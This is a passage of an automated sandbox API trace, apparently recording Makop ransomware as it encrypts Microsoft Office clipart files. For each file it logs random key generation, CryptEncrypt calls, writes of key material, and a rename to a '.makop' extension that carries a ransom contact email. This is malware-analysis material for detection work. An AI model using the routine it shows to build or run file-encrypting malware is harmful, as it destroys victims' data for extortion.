pdwDataLen=0x6577a90*=0x8ba0) returned 1 [0149.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8ba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8ba0, lpOverlapped=0x0) returned 1 [0149.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.799] SetEndOfFile (hFile=0xf0) returned 1 [0149.807] GetProcessHeap () returned 0x48a0000 [0149.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.807] GetProcessHeap () returned 0x48a0000 [0149.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.807] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.810] CloseHandle (hObject=0xf0) returned 1 [0149.810] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0149.810] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF") returned 63 [0149.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.811] GetProcessHeap () returned 0x48a0000 [0149.811] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.812] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.812] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.812] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.812] GetProcessHeap () returned 0x48a0000 [0149.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.812] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.812] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.817] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.818] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.818] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbbe0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbbe0, lpOverlapped=0x0) returned 1 [0149.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbbe0, dwBufLen=0xbbe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbbe0) returned 1 [0149.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbbe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbbe0, lpOverlapped=0x0) returned 1 [0149.822] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.822] SetEndOfFile (hFile=0xf0) returned 1 [0149.829] GetProcessHeap () returned 0x48a0000 [0149.829] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.829] GetProcessHeap () returned 0x48a0000 [0149.829] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.829] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.831] CloseHandle (hObject=0xf0) returned 1 [0149.831] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0149.831] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 63 [0149.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.834] GetProcessHeap () returned 0x48a0000 [0149.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.834] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.839] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.839] GetProcessHeap () returned 0x48a0000 [0149.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.840] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.840] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.841] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.841] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x934c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x934c, lpOverlapped=0x0) returned 1 [0149.843] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9350, dwBufLen=0x9350 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9350) returned 1 [0149.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.844] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9350, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9350, lpOverlapped=0x0) returned 1 [0149.844] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.844] SetEndOfFile (hFile=0xf0) returned 1 [0149.852] GetProcessHeap () returned 0x48a0000 [0149.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.852] GetProcessHeap () returned 0x48a0000 [0149.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.852] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.854] CloseHandle (hObject=0xf0) returned 1 [0149.854] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0149.854] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF") returned 63 [0149.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.855] GetProcessHeap () returned 0x48a0000 [0149.855] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.855] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.856] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.860] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.860] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.860] GetProcessHeap () returned 0x48a0000 [0149.860] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.860] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.861] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.861] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.862] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.862] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.862] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1948, lpOverlapped=0x0) returned 1 [0149.863] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1950, dwBufLen=0x1950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1950) returned 1 [0149.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.864] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1950, lpOverlapped=0x0) returned 1 [0149.864] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.864] SetEndOfFile (hFile=0xf0) returned 1 [0149.871] GetProcessHeap () returned 0x48a0000 [0149.871] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.871] GetProcessHeap () returned 0x48a0000 [0149.871] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.872] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.873] CloseHandle (hObject=0xf0) returned 1 [0149.874] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0149.874] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF") returned 63 [0149.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.875] GetProcessHeap () returned 0x48a0000 [0149.875] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.875] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0149.881] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.881] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.881] GetProcessHeap () returned 0x48a0000 [0149.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.881] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.881] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.882] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.883] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.883] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 